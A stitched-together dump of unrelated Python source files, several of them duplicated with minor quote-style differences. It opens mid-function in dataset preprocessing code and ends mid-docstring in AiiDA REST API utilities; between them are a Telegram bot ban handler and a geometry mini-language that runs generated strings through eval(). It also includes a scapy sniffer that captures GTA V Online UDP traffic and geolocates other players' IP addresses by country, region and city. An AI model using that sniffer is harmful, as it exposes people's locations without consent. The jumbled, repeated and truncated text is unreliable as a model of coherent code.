**(log_config.get_fingerprint()) @_caching( key_value_sort(single_chunk["meta_key_idx"]), key_value_sort(single_chunk["pdf_key_idx"]), **fingerprints(dataset_config, run_config, log_config), function_name="get_dataset", ) def _get_dataset( single_chunk: dict, dataset_config: S2orcConfig, run_config: RunConfig, log_config: LogConfig, data_field: List[str], ) -> DatasetDict: ## ------------------ ## ## -- LOAD DATASET -- ## ## ------------------ ## if log_config.time: start = time.time() if log_config.time: start_load = time.time() # execution dataset_dict = fuse_dictionaries(single_chunk, data_field, log_config) #  logging.info(dataset_dict) if log_config.debug: logging.info(dataset_dict) if log_config.time: end_load = time.time() if log_config.time: logging.info(f"[TIME] load_dataset: {end_load - start_load}") ## ------------------ ## ## ---- MANAGING ---- ## ## ------------------ ## if log_config.time: start_selection = time.time() # execution dataset = dataset_dict # ['train'] if log_config.time: end_selection = time.time() if log_config.time: logging.info( f"[TIME] dataset_train selection: {end_selection - start_selection}") if log_config.debug: logging.info(dataset) ## ------------------ ## ## --- REMOVE none -- ## ## ------------------ ## if log_config.time: start_removing = time.time() # clean input removing papers with **None** as abstract/title if not dataset_config.keep_none_papers: ## --------------------- ## ## --- REMOVE.indexes -- ## ## --------------------- ## if log_config.time: start_removing_indexes = time.time() if log_config.debug: logging.info(data_field) # execution none_papers_indexes = {} for field in data_field: none_indexes = [ idx_s for idx_s, s in enumerate(dataset[f"{field}"]) if s is None ] none_papers_indexes = { **none_papers_indexes, **dict.fromkeys(none_indexes, False), } if log_config.time: end_removing_indexes = time.time() if log_config.time: logging.info( f"[TIME] remove.indexes: {end_removing_indexes - start_removing_indexes}" ) if log_config.debug: logging.info(none_papers_indexes) ## --------------------- ## ## --- REMOVE.concat --- ## ## --------------------- ## if log_config.time: start_removing_concat = time.time() # execution to_remove_indexes = list(none_papers_indexes.keys()) if log_config.time: end_removing_concat = time.time() if log_config.time: logging.info( f"[TIME] remove.concat: {end_removing_concat - start_removing_concat}" ) if log_config.debug: logging.info(to_remove_indexes) if log_config.debug: logging.info([dataset["abstract"][i] for i in to_remove_indexes]) ## --------------------- ## ## --- REMOVE.filter --- ## ## --------------------- ## if log_config.time: start_removing_filter = time.time() # execution dataset = dataset.filter( (lambda x, ids: none_papers_indexes.get(ids, True)), with_indices=True ) if log_config.time: end_removing_filter = time.time() if log_config.time: logging.info( f"[TIME] remove.filter: {end_removing_filter - start_removing_filter}" ) if log_config.debug: logging.info(dataset) if log_config.time: end_removing = time.time() if log_config.time: logging.info( f"[TIME] remove None fields: {end_removing - start_removing}") ## --------------------- ## ## --- REMOVE.column --- ## ## --------------------- ## if log_config.time: start_remove_unused_columns = time.time() if not dataset_config.keep_unused_columns: for column in dataset.column_names: if column not in data_field: if log_config.debug: logging.info(f"{column}") dataset.remove_columns_(column) if log_config.time: end_remove_unused_columns = time.time() if log_config.time: logging.info( f"[TIME] remove.column: {end_remove_unused_columns - start_remove_unused_columns}" ) ## ------------------ ## ## --- SPLIT 1. -- ## ## ------------------ ## if log_config.time: start_first_split = time.time() # 80% (train), 20% (test + validation) # execution train_testvalid = dataset.train_test_split( test_size=0.2, seed=run_config.seed) if log_config.time: end_first_split = time.time() if log_config.time: logging.info( f"[TIME] first [train-(test-val)] split: {end_first_split - start_first_split}" ) ## ------------------ ## ## --- SPLIT 2. -- ## ## ------------------ ## if log_config.time: start_second_split = time.time() # 10% of total (test), 10% of total (validation) # execution test_valid = train_testvalid["test"].train_test_split( test_size=0.5, seed=run_config.seed ) if log_config.time: end_second_split = time.time() if log_config.time: logging.info( f"[TIME] second [test-val] split: {end_second_split - start_second_split}" ) # execution dataset = DatasetDict( { "train": train_testvalid["train"], "test": test_valid["test"], "valid": test_valid["train"], } ) if log_config.time: end = time.time() if log_config.time: logging.info(f"[TIME] TOTAL: {end - start}") return dataset dataset = _get_dataset( single_chunk, dataset_config, run_config, log_config, data_field ) return dataset def data_target_preprocess( *sentences_by_column, data, target, classes, max_seq_length, tokenizer, debug=False, print_all_debug=False, time_debug=False, print_some_debug=False, **kwargs, ): # -> Dict[str, Union[list, Tensor]]: """Preprocess the raw input sentences from the text file. :param sentences: a list of sentences (strings) :return: a dictionary of "input_ids" """ if debug: logging.info( f"[INFO-START] Preprocess on data: {data}, target: {target}") assert data == ["abstract"], "data should be ['abstract']" if debug: logging.info(data) assert target == ["title"], "target should be ['title']" if debug: logging.info(target) data_columns_len = len(data) target_columns_len = len(target) columns_len = data_columns_len + target_columns_len assert data_columns_len == 1, "data length should be 1" if debug: logging.info(data_columns_len) assert target_columns_len == 1, "target length should be 1" if debug: logging.info(target_columns_len) sentences_by_column = np.asarray(sentences_by_column) input_columns_len = len(sentences_by_column) if debug: logging.info( f"all sentences (len {input_columns_len}): {sentences_by_column}") if target_columns_len == 0: raise NameError( "No target variable selected, \ are you sure you don't want any target?" ) data_sentences = sentences_by_column[0] target_sentences = sentences_by_column[ 1 ] # if columns_len == input_columns_len else sentences_by_column[data_columns_len:-1] if debug: logging.info(data_sentences) if debug: logging.info(target_sentences) # The sequences are not padded here. we leave that to the dataloader in a collate_fn # ----------------------------------------------- # # -------- TODO include the `collate_fn` -------- # # ----------------------------------------------- # # That means: a bit slower processing, but a smaller saved dataset size if print_some_debug: logging.info(max_seq_length) data_encoded_d = tokenizer( text=data_sentences.tolist(), # add_special_tokens=False, # is_pretokenized=True, padding=True, truncation=True, max_length=max_seq_length, return_token_type_ids=False, return_attention_mask=False, # We use this option because DataCollatorForLanguageModeling (see below) is more efficient when it # receives the `special_tokens_mask`. return_special_tokens_mask=True, return_tensors="np", ) target_encoded_d = tokenizer( text=target_sentences.tolist(), # add_special_tokens=False, #  is_pretokenized=True, padding=True, truncation=True, max_length=max_seq_length, return_token_type_ids=False, return_attention_mask=False, # We use this option because DataCollatorForLanguageModeling (see below) is more efficient when it # receives the `special_tokens_mask`. return_special_tokens_mask=True, return_tensors="np", ) if debug: logging.info(data_encoded_d["input_ids"].shape) if debug: logging.info(target_encoded_d["input_ids"].shape) # return encoded_d return { "data_input_ids": data_encoded_d["input_ids"], "target_input_ids": target_encoded_d["input_ids"], } def mag_preprocess(*mags): """Preprocess the raw input sentences from the text file. :param sentences: a list of sentences (strings) :return: a dictionary of "input_ids" """ debug = False if debug: logging.info(f"[INFO-START] Mag Preprocess") mag_field = np.array(mags) input_columns_len = mag_field.shape if debug: logging.info(f"pre flatten (len {input_columns_len}): {mag_field}") if debug: logging.info(f"pre types: {[type(ele) for ele in mag_field]}") if debug: logging.info(f"pre types: {type(mag_field)}") mag_field = mag_field.flatten() input_columns_len = mag_field.shape if debug: logging.info(f"after flatten (len {input_columns_len}): {mag_field}") if debug: logging.info(f"after types: {[type(ele) for ele in mag_field]}") if debug: logging.info(f"after types: {type(mag_field)}") mag_field = np.array( [ele if type(ele) == str else list(ele)[0] for ele in mag_field] ) if input_columns_len == 0: raise NameError( "No mag variable selected, \ are you sure you don't want any target?" ) if debug: logging.info(mag_field) if debug: logging.info(mag_field_dict) if debug: logging.info( [ mag_field_dict.get(real_mag_field_value, 3) for real_mag_field_value in mag_field ] ) mag_index = np.asarray( [ mag_field_dict.get(real_mag_field_value, 3) for real_mag_field_value in mag_field ] ) if debug: logging.info(mag_index) return {"mag_index": mag_index} def preprocessing( all_datasets, dictionary_input, dictionary_columns, tokenizer, model, *args, **kwargs, ): # model -> max_seq_length """ Args: - `all_datasets`: DatasetDict element divided into 'train', 'test', 'valid'. - `dictionary_input`: dict element with fields 'data', 'target' and 'classes'. - `dictionary_columns`: list of values of the `dictionary_input` dict. - `tokenizer`: tokenizer used for tokenize words. - `model`: model used to get 'max_position_embeddings' value. - `*args`: some extra params not used - `**kwargs`: some extra dictionary params not used """ all_datasets_map = all_datasets.map( data_target_preprocess, input_columns=dictionary_columns, fn_kwargs={ **dictionary_input, "max_seq_length": model.config.max_position_embeddings, "tokenizer": tokenizer, }, batched=True, ) all_dataset_mag_map = all_datasets_map.map( mag_preprocess, input_columns=dictionary_input["classes"], batched=True ) return all_dataset_mag_map
from pyrogram import Client, filters from utils import temp from pyrogram.types import Message from database.users_chats_db import db from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup from info import SUPPORT_CHAT async def banned_users(_, client, message: Message): return ( message.from_user is not None or not message.sender_chat ) and message.from_user.id in temp.BANNED_USERS banned_user = filters.create(banned_users) async def disabled_chat(_, client, message: Message): return message.chat.id in temp.BANNED_CHATS disabled_group=filters.create(disabled_chat) @Client.on_message(filters.private & banned_user & filters.incoming) async def ban_reply(bot, message): ban = await db.get_ban_status(message.from_user.id) await message.reply(f'Sorry Dude, You are Banned to use Me. \nBan Reason: {ban['ban_reason']}') @Client.on_message(filters.group & disabled_group & filters.incoming) async def grp_bd(bot, message): buttons = [[ InlineKeyboardButton('Support', url=f'https://t.me/{SUPPORT_CHAT}') ]] reply_markup=InlineKeyboardMarkup(buttons) vazha = await db.get_chat(message.chat.id) k = await message.reply( text=f"CHAT NOT ALLOWED 🐞\n\nMy admins has restricted me from working here ! If you want to know more about it contact support..\nReason : <code>{vazha["reason"]}</code>.", reply_markup=reply_markup) try: await k.pin() except: pass await bot.leave_chat(message.chat.id)
from pyrogram import Client, filters from utils import temp from pyrogram.types import Message from database.users_chats_db import db from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup from info import SUPPORT_CHAT async def banned_users(_, client, message: Message): return ( message.from_user is not None or not message.sender_chat ) and message.from_user.id in temp.BANNED_USERS banned_user = filters.create(banned_users) async def disabled_chat(_, client, message: Message): return message.chat.id in temp.BANNED_CHATS disabled_group=filters.create(disabled_chat) @Client.on_message(filters.private & banned_user & filters.incoming) async def ban_reply(bot, message): ban = await db.get_ban_status(message.from_user.id) await message.reply(f'Sorry Dude, You are Banned to use Me. \nBan Reason: {ban["ban_reason"]}') @Client.on_message(filters.group & disabled_group & filters.incoming) async def grp_bd(bot, message): buttons = [[ InlineKeyboardButton('Support', url=f'https://t.me/{SUPPORT_CHAT}') ]] reply_markup=InlineKeyboardMarkup(buttons) vazha = await db.get_chat(message.chat.id) k = await message.reply( text=f"CHAT NOT ALLOWED 🐞\n\nMy admins has restricted me from working here ! If you want to know more about it contact support..\nReason : <code>{vazha['reason']}</code>.", reply_markup=reply_markup) try: await k.pin() except: pass await bot.leave_chat(message.chat.id)
import re from pprint import pprint from more_itertools import split_at, split_before from drafting.geometry import Point, Line, Rect from drafting.sh.context import SHLookup, SHContext SH_UNARY_SUFFIX_FUNCS = { "~": "reverse", "¶": "to_pen", } SH_UNARY_TO_STRING = { "⊢": "w", "⊣": "e", "⊤": "n", "⊥": "s", "⌶": "cx", "H": "cy", "←": "W", "↑": "N", "→": "E", "↓": "S", "↖": "NW", "↗": "NE", "↘": "SE", "↙": "SW", "•": "C", } SH_UNARY_SUFFIX_PROPS = { "⊢": "ew", "⊣": "ee", "⊤": "en", "⊥": "es", "⌶": "ecx", "H": "ecy", "←": "pw", "↑": "pn", "→": "pe", "↓": "ps", "↖": "pnw", "↗": "pne", "↘": "pse", "↙": "psw", "•": "pc", "⍺": "start", "⍵": "end", "µ": "mid", } SH_BINARY_OPS = { "I": "inset", "O": "offset", "C": "columns", "R": "rows", "@": "__getitem__", "↕": "extr", #"P": "project", "∏": "project", "π": "pinch", "†": "take_curve", } SH_BINARY_OPS_EDGEAWARE = { "T": "take", "S": "subtract", "E": "expand", "M": "maxima", } SH_JOINS = { "⨝": ["join"], "∩": ["intersection"], "∮": lambda a, b: f"DraftingPen().moveTo({a}.start).lineTo({a}.end).lineTo({b}.end).lineTo({b}.start).closePath()", "⫎": lambda a, b: f"Rect.FromPoints({a}, {b})" } SH_BACKREFS = { "〱": "_last", } SH_EXPLODES = { "〻": "_last", } SH_PATH_OPS = { "ɜ": "endPath", "ɞ": "closePath", "Я": "reverse" } def shchain(s): chars = list(SH_BINARY_OPS_EDGEAWARE.keys()) chars.extend(SH_BINARY_OPS.keys()) chars.extend(SH_UNARY_SUFFIX_PROPS) chars.extend(SH_UNARY_SUFFIX_FUNCS) chars.append(">") chars.append("Ƨ") cs = ["".join(x) for x in split_before(s, lambda x: x in chars) if x[0] != ">"] out = cs[0] spre = re.compile(",|—") skip = False for c in cs[1:]: f = c[0] if f == "Ƨ": skip = True continue elif skip: skip = False continue if f in SH_BINARY_OPS: fn = SH_BINARY_OPS[f] d = None if c[1] in ["X", "Y"]: d = c[1] args = spre.split(c[2:]) else: args = spre.split(c[1:]) if d: fn += "_" + d.lower() for i, a in enumerate(args): if a == "auto" or a == "a": args[i] = '"auto"' out += f".{fn}({",".join(args)})" elif f in SH_BINARY_OPS_EDGEAWARE: fn = SH_BINARY_OPS_EDGEAWARE[f] d = "XY" if c[1] in ["X", "Y"]: d = c[1] args = spre.split(c[2:]) else: args = spre.split(c[1:]) for i, a in enumerate(args): if a[0] == "-": e = "mn" elif a[0] == "=": e = "md" elif a[0] == "+": e = "mx" else: raise Exception("Edge not matched", args[0]) if d == "XY": args[i] = (a[1:], '"'+e+"xy"[i]+'"') else: args[i] = (a[1:], '"'+e+d.lower()+'"') out += f".{fn}({",".join(args[i])})" elif f in SH_UNARY_SUFFIX_PROPS: fn = SH_UNARY_SUFFIX_PROPS[f] out += f".{fn}" #+ c[1:] elif f in SH_UNARY_SUFFIX_FUNCS: fn = SH_UNARY_SUFFIX_FUNCS[f] out += f".{fn}()" #+ c[1:] return out def shterm(s:str): return shchain(s) def shphrase(s): terms = [] splits = list(SH_JOINS.keys()) for idx, _t in enumerate(split_at(s, lambda x: x in splits, keep_separator=1)): t = "".join(_t) if idx % 2 == 0: terms.append("("+shterm(t)+")") else: terms.append(t) out = "" t1 = terms[0] i = 1 if i == len(terms): return t1 else: while i < len(terms): op_s = terms[i] if op_s in SH_JOINS: op = SH_JOINS[op_s] t2 = terms[i+1] for k, v in SH_BACKREFS.items(): t2 = t2.replace(k, f"({t1})") if callable(op): out += op(t1, t2) else: out += f"({t1}.{op[0]}({t2}))" i += 2 return out def shgroup(s): if s.startswith("Ƨ"): return None s = s.replace("(", "[").replace(")", "]") rg = re.compile(r"\[([^\]]+)\]") def expand(m): return f"({shphrase(m.group(1))})" rm = rg.findall(s) while len(rm) > 0: s = rg.sub(expand, s) rm = rg.findall(s) return shphrase(s) def sh(s, ctx:SHContext=None, dps=None, subs={}): from drafting.pens.draftingpen import DraftingPen #print("SH>", s, subs) if ctx is None: ctx = SHContext() evaled = [] last_locals = {**ctx.locals} s = s.replace("_", "") s = "ƒ"+re.sub(r"[\s\n]+", "ƒ", s).strip() def expand_multisuffix(m): out = [] arrows = list(m.group(2)) for a in arrows: out.append(m.group(1)+a) return "ƒ".join(out) def do_eval(phrase): py = (shgroup(phrase)) if not py: return None for k, v in SH_PATH_OPS.items(): py = py.replace(k, '"' + v + '"') for k, v in ctx.lookups.items(): py = py.replace(v.symbol, f"ctx.{k}.") for k, v in ctx.subs.items(): py = py.replace(k, v(ctx) if callable(v) else v) for k, v in subs.items(): py = py.replace(k, str(v)) #print("EVAL<", py) try: res = eval(py, dict( ctx=ctx, _last=evaled[-1] if len(evaled) > 0 else None, _dps=dps, Point=Point, Line=Line, Rect=Rect, DraftingPen=DraftingPen) , last_locals) #print("LOCALS", last_locals) return res except SyntaxError as e: print("SYNTAX ERROR", e, phrase, py) return None #s = re.sub(r"([\$\&]{1}[a-z]+)([↖↑↗→↘↓↙←•⍺⍵µ]{2,})", expand_multisuffix, s) # for k, v in SH_PATH_OPS.items(): # s = s.replace(k, '"' + v + '"') join_to_path = False splits = ["ƒ"] splits.extend(SH_EXPLODES.keys()) s = re.sub("ƒ\-[^ƒ]+", "", s) for phrase in split_before(s, lambda x: x in splits): phrase = "".join(phrase).strip() #print("PHRASE", phrase) last = None if not phrase: continue if phrase[0] in SH_EXPLODES: phrase = "_last"+phrase[1:] # last = evaled[-1] if phrase[0] == "ƒ": phrase = phrase[1:] if not phrase: continue if phrase == "∫": phrase = "'∫'" more = [] if "ø" in phrase: phrase = phrase.replace("ø", "") elif "|" in phrase: tuple = phrase.split("|") for i, t in enumerate(tuple): if isinstance(t, str): if "∑" in t: t = ",".join([f"'{c}'" for c in t]) elif len(t) > 1: if t[0] in SH_UNARY_TO_STRING: tuple[i] = [SH_UNARY_TO_STRING[x] for x in t] continue else: if t in SH_UNARY_TO_STRING: tuple[i] = SH_UNARY_TO_STRING[t] continue tuple[i] = do_eval(t) more = tuple phrase = tuple[-1] if more: evaled.append(more) else: evaled.append(do_eval(phrase)) if dps is not None: dps.append(evaled[-1]) ctx.locals = {**ctx.locals, **last_locals} return evaled
import re from pprint import pprint from more_itertools import split_at, split_before from drafting.geometry import Point, Line, Rect from drafting.sh.context import SHLookup, SHContext SH_UNARY_SUFFIX_FUNCS = { "~": "reverse", "¶": "to_pen", } SH_UNARY_TO_STRING = { "⊢": "w", "⊣": "e", "⊤": "n", "⊥": "s", "⌶": "cx", "H": "cy", "←": "W", "↑": "N", "→": "E", "↓": "S", "↖": "NW", "↗": "NE", "↘": "SE", "↙": "SW", "•": "C", } SH_UNARY_SUFFIX_PROPS = { "⊢": "ew", "⊣": "ee", "⊤": "en", "⊥": "es", "⌶": "ecx", "H": "ecy", "←": "pw", "↑": "pn", "→": "pe", "↓": "ps", "↖": "pnw", "↗": "pne", "↘": "pse", "↙": "psw", "•": "pc", "⍺": "start", "⍵": "end", "µ": "mid", } SH_BINARY_OPS = { "I": "inset", "O": "offset", "C": "columns", "R": "rows", "@": "__getitem__", "↕": "extr", #"P": "project", "∏": "project", "π": "pinch", "†": "take_curve", } SH_BINARY_OPS_EDGEAWARE = { "T": "take", "S": "subtract", "E": "expand", "M": "maxima", } SH_JOINS = { "⨝": ["join"], "∩": ["intersection"], "∮": lambda a, b: f"DraftingPen().moveTo({a}.start).lineTo({a}.end).lineTo({b}.end).lineTo({b}.start).closePath()", "⫎": lambda a, b: f"Rect.FromPoints({a}, {b})" } SH_BACKREFS = { "〱": "_last", } SH_EXPLODES = { "〻": "_last", } SH_PATH_OPS = { "ɜ": "endPath", "ɞ": "closePath", "Я": "reverse" } def shchain(s): chars = list(SH_BINARY_OPS_EDGEAWARE.keys()) chars.extend(SH_BINARY_OPS.keys()) chars.extend(SH_UNARY_SUFFIX_PROPS) chars.extend(SH_UNARY_SUFFIX_FUNCS) chars.append(">") chars.append("Ƨ") cs = ["".join(x) for x in split_before(s, lambda x: x in chars) if x[0] != ">"] out = cs[0] spre = re.compile(",|—") skip = False for c in cs[1:]: f = c[0] if f == "Ƨ": skip = True continue elif skip: skip = False continue if f in SH_BINARY_OPS: fn = SH_BINARY_OPS[f] d = None if c[1] in ["X", "Y"]: d = c[1] args = spre.split(c[2:]) else: args = spre.split(c[1:]) if d: fn += "_" + d.lower() for i, a in enumerate(args): if a == "auto" or a == "a": args[i] = '"auto"' out += f".{fn}({','.join(args)})" elif f in SH_BINARY_OPS_EDGEAWARE: fn = SH_BINARY_OPS_EDGEAWARE[f] d = "XY" if c[1] in ["X", "Y"]: d = c[1] args = spre.split(c[2:]) else: args = spre.split(c[1:]) for i, a in enumerate(args): if a[0] == "-": e = "mn" elif a[0] == "=": e = "md" elif a[0] == "+": e = "mx" else: raise Exception("Edge not matched", args[0]) if d == "XY": args[i] = (a[1:], '"'+e+"xy"[i]+'"') else: args[i] = (a[1:], '"'+e+d.lower()+'"') out += f".{fn}({','.join(args[i])})" elif f in SH_UNARY_SUFFIX_PROPS: fn = SH_UNARY_SUFFIX_PROPS[f] out += f".{fn}" #+ c[1:] elif f in SH_UNARY_SUFFIX_FUNCS: fn = SH_UNARY_SUFFIX_FUNCS[f] out += f".{fn}()" #+ c[1:] return out def shterm(s:str): return shchain(s) def shphrase(s): terms = [] splits = list(SH_JOINS.keys()) for idx, _t in enumerate(split_at(s, lambda x: x in splits, keep_separator=1)): t = "".join(_t) if idx % 2 == 0: terms.append("("+shterm(t)+")") else: terms.append(t) out = "" t1 = terms[0] i = 1 if i == len(terms): return t1 else: while i < len(terms): op_s = terms[i] if op_s in SH_JOINS: op = SH_JOINS[op_s] t2 = terms[i+1] for k, v in SH_BACKREFS.items(): t2 = t2.replace(k, f"({t1})") if callable(op): out += op(t1, t2) else: out += f"({t1}.{op[0]}({t2}))" i += 2 return out def shgroup(s): if s.startswith("Ƨ"): return None s = s.replace("(", "[").replace(")", "]") rg = re.compile(r"\[([^\]]+)\]") def expand(m): return f"({shphrase(m.group(1))})" rm = rg.findall(s) while len(rm) > 0: s = rg.sub(expand, s) rm = rg.findall(s) return shphrase(s) def sh(s, ctx:SHContext=None, dps=None, subs={}): from drafting.pens.draftingpen import DraftingPen #print("SH>", s, subs) if ctx is None: ctx = SHContext() evaled = [] last_locals = {**ctx.locals} s = s.replace("_", "") s = "ƒ"+re.sub(r"[\s\n]+", "ƒ", s).strip() def expand_multisuffix(m): out = [] arrows = list(m.group(2)) for a in arrows: out.append(m.group(1)+a) return "ƒ".join(out) def do_eval(phrase): py = (shgroup(phrase)) if not py: return None for k, v in SH_PATH_OPS.items(): py = py.replace(k, '"' + v + '"') for k, v in ctx.lookups.items(): py = py.replace(v.symbol, f"ctx.{k}.") for k, v in ctx.subs.items(): py = py.replace(k, v(ctx) if callable(v) else v) for k, v in subs.items(): py = py.replace(k, str(v)) #print("EVAL<", py) try: res = eval(py, dict( ctx=ctx, _last=evaled[-1] if len(evaled) > 0 else None, _dps=dps, Point=Point, Line=Line, Rect=Rect, DraftingPen=DraftingPen) , last_locals) #print("LOCALS", last_locals) return res except SyntaxError as e: print("SYNTAX ERROR", e, phrase, py) return None #s = re.sub(r"([\$\&]{1}[a-z]+)([↖↑↗→↘↓↙←•⍺⍵µ]{2,})", expand_multisuffix, s) # for k, v in SH_PATH_OPS.items(): # s = s.replace(k, '"' + v + '"') join_to_path = False splits = ["ƒ"] splits.extend(SH_EXPLODES.keys()) s = re.sub("ƒ\-[^ƒ]+", "", s) for phrase in split_before(s, lambda x: x in splits): phrase = "".join(phrase).strip() #print("PHRASE", phrase) last = None if not phrase: continue if phrase[0] in SH_EXPLODES: phrase = "_last"+phrase[1:] # last = evaled[-1] if phrase[0] == "ƒ": phrase = phrase[1:] if not phrase: continue if phrase == "∫": phrase = "'∫'" more = [] if "ø" in phrase: phrase = phrase.replace("ø", "") elif "|" in phrase: tuple = phrase.split("|") for i, t in enumerate(tuple): if isinstance(t, str): if "∑" in t: t = ",".join([f"'{c}'" for c in t]) elif len(t) > 1: if t[0] in SH_UNARY_TO_STRING: tuple[i] = [SH_UNARY_TO_STRING[x] for x in t] continue else: if t in SH_UNARY_TO_STRING: tuple[i] = SH_UNARY_TO_STRING[t] continue tuple[i] = do_eval(t) more = tuple phrase = tuple[-1] if more: evaled.append(more) else: evaled.append(do_eval(phrase)) if dps is not None: dps.append(evaled[-1]) ctx.locals = {**ctx.locals, **last_locals} return evaled
import requests from scapy.all import * from ip2geotools.databases.noncommercial import DbIpCity def pc(packet): if packet.proto == 17: udp = packet.payload while True: x = sniff(filter="udp and port 6672", prn=pc, store=1, count=1)# GTA V Online UDP default Port is 6672 y = x[0][IP].src z = x[0][IP].dst if z == "192.168.0.102":#replace with your local IP pass else: print("-----------------------------------------------------------") try: print(f"Destination: IP Address: [{z}] Country: [{DbIpCity.get(z, api_key="free").country}] Region: [{DbIpCity.get(z, api_key="free").region}] City: [{DbIpCity.get(z, api_key="free").city}]") except: print(f"Destination: IP Address: [{z}] Country: [{DbIpCity.get(z, api_key="free").country}]") print("-----------------------------------------------------------")
import requests from scapy.all import * from ip2geotools.databases.noncommercial import DbIpCity def pc(packet): if packet.proto == 17: udp = packet.payload while True: x = sniff(filter="udp and port 6672", prn=pc, store=1, count=1)# GTA V Online UDP default Port is 6672 y = x[0][IP].src z = x[0][IP].dst if z == "192.168.0.102":#replace with your local IP pass else: print("-----------------------------------------------------------") try: print(f"Destination: IP Address: [{z}] Country: [{DbIpCity.get(z, api_key='free').country}] Region: [{DbIpCity.get(z, api_key='free').region}] City: [{DbIpCity.get(z, api_key='free').city}]") except: print(f"Destination: IP Address: [{z}] Country: [{DbIpCity.get(z, api_key='free').country}]") print("-----------------------------------------------------------")
# -*- coding: utf-8 -*- ########################################################################### # Copyright (c), The AiiDA team. All rights reserved. # # This file is part of the AiiDA code. # # # # The code is hosted on GitHub at https://github.com/aiidateam/aiida-core # # For further information on the license, see the LICENSE.txt file # # For further information please visit http://www.aiida.net # ########################################################################### """ Util methods """ from datetime import datetime, timedelta import urllib.parse from flask import jsonify from flask.json import JSONEncoder from wrapt import decorator from aiida.common.utils import DatetimePrecision from aiida.common.exceptions import InputValidationError, ValidationError from aiida.manage.manager import get_manager from aiida.restapi.common.exceptions import RestValidationError, \ RestInputValidationError # Important to match querybuilder keys PK_DBSYNONYM = 'id' # Example uuid (version 4) UUID_REF = 'd55082b6-76dc-426b-af89-0e08b59524d2' ########################## Classes ##################### class CustomJSONEncoder(JSONEncoder): """ Custom json encoder for serialization. This has to be provided to the Flask app in order to replace the default encoder. """ def default(self, o): # pylint: disable=method-hidden """ Override default method from JSONEncoder to change serializer :param o: Object e.g. dict, list that will be serialized :return: serialized object """ from aiida.restapi.common.config import SERIALIZER_CONFIG # Treat the datetime objects if isinstance(o, datetime): if 'datetime_format' in SERIALIZER_CONFIG.keys() and \ SERIALIZER_CONFIG[ 'datetime_format'] != 'default': if SERIALIZER_CONFIG['datetime_format'] == 'asinput': if o.utcoffset() is not None: o = o - o.utcoffset() return '-'.join([str(o.year), str(o.month).zfill(2), str(o.day).zfill(2)]) + 'T' + \ ':'.join([str( o.hour).zfill(2), str(o.minute).zfill(2), str(o.second).zfill(2)]) # If not returned yet, do it in the default way return JSONEncoder.default(self, o) class Utils: """ A class that gathers all the utility functions for parsing URI, validating request, pass it to the translator, and building HTTP response An istance of Utils has to be included in the api class so that the configuration parameters used to build the api are automatically accessible by the methods of Utils without the need to import them from the config.py file. """ # Conversion map from the query_string operators to the query_builder # operators op_conv_map = { '=': '==', '!=': '!==', '=in=': 'in', '=notin=': '!in', '>': '>', '<': '<', '>=': '>=', '<=': '<=', '=like=': 'like', '=ilike=': 'ilike' } def __init__(self, **kwargs): """ Sets internally the configuration parameters """ self.prefix = kwargs['PREFIX'] self.perpage_default = kwargs['PERPAGE_DEFAULT'] self.limit_default = kwargs['LIMIT_DEFAULT'] def strip_api_prefix(self, path): """ Removes the PREFIX from an URL path. PREFIX must be defined in the config.py file:: PREFIX = "/api/v2" path = "/api/v2/calculations/page/2" strip_api_prefix(path) ==> "/calculations/page/2" :param path: the URL path string :return: the same URL without the prefix """ if path.startswith(self.prefix): return path[len(self.prefix):] raise ValidationError(f'path has to start with {self.prefix}') @staticmethod def split_path(path): """ :param path: entire path contained in flask request :return: list of each element separated by '/' """ return [f for f in path.split('/') if f] def parse_path(self, path_string, parse_pk_uuid=None): # pylint: disable=too-many-return-statements,too-many-branches, too-many-statements """ Takes the path and parse it checking its validity. Does not parse "io", "content" fields. I do not check the validity of the path, since I assume that this is done by the Flask routing methods. :param path_string: the path string :param parse_id_uuid: if 'pk' ('uuid') expects an integer (uuid starting pattern) :return: resource_type (string) page (integer) node_id (string: uuid starting pattern, int: pk) query_type (string)) """ ## Initialization page = None node_id = None query_type = 'default' path = self.split_path(self.strip_api_prefix(path_string)) ## Pop out iteratively the "words" of the path until it is an empty # list. ## This way it should be easier to plug in more endpoint logic # Resource type resource_type = path.pop(0) if not path: return (resource_type, page, node_id, query_type) # Validate uuid or starting pattern of uuid. # Technique: - take our UUID_REF and replace the first characters the # string to be validated as uuid. # - validate instead the newly built string if parse_pk_uuid == 'pk': raw_id = path[0] try: # Check whether it can be an integer node_id = int(raw_id) except ValueError: pass else: path.pop(0) elif parse_pk_uuid == 'uuid': import uuid raw_id = path[0] maybe_uuid = raw_id + UUID_REF[len(raw_id):] try: _ = uuid.UUID(maybe_uuid, version=4) except ValueError: # assume that it cannot be an id and go to the next check pass else: # It is a node_id so pop out the path element node_id = raw_id path.pop(0) if not path: return (resource_type, page, node_id, query_type) if path[0] in [ 'projectable_properties', 'statistics', 'full_types', 'full_types_count', 'download', 'download_formats', 'report', 'status', 'input_files', 'output_files' ]: query_type = path.pop(0) if path: raise RestInputValidationError('Given url does not accept further fields') elif path[0] in ['links', 'contents']: path.pop(0) query_type = path.pop(0) elif path[0] in ['repo']: path.pop(0) query_type = f'repo_{path.pop(0)}' if not path: return (resource_type, page, node_id, query_type) # Page (this has to be in any case the last field) if path[0] == 'page': path.pop(0) if not path: page = 1 return (resource_type, page, node_id, query_type) page = int(path.pop(0)) else: raise RestInputValidationError('The requested URL is not found on the server.') return (resource_type, page, node_id, query_type) def validate_request( self, limit=None, offset=None, perpage=None, page=None, query_type=None, is_querystring_defined=False ): # pylint: disable=fixme,no-self-use,too-many-arguments,too-many-branches """ Performs various checks on the consistency of the request. Add here all the checks that you want to do, except validity of the page number that is done in paginate(). Future additional checks must be added here """ # TODO Consider using **kwargs so to make easier to add more validations # 1. perpage incompatible with offset and limits if perpage is not None and (limit is not None or offset is not None): raise RestValidationError('perpage key is incompatible with limit and offset') # 2. /page/<int: page> in path is incompatible with limit and offset if page is not None and (limit is not None or offset is not None): raise RestValidationError('requesting a specific page is incompatible with limit and offset') # 3. perpage requires that the path contains a page request if perpage is not None and page is None: raise RestValidationError( 'perpage key requires that a page is ' 'requested (i.e. the path must contain ' '/page/)' ) # 4. No querystring if query type = projectable_properties' if query_type in ('projectable_properties',) and is_querystring_defined: raise RestInputValidationError('projectable_properties requests do not allow specifying a query string') def paginate(self, page, perpage, total_count): """ Calculates limit and offset for the reults of a query, given the page and the number of restuls per page. Moreover, calculates the last available page and raises an exception if the required page exceeds that limit. If number of rows==0, only page 1 exists :param page: integer number of the page that has to be viewed :param perpage: integer defining how many results a page contains :param total_count: the total number of rows retrieved by 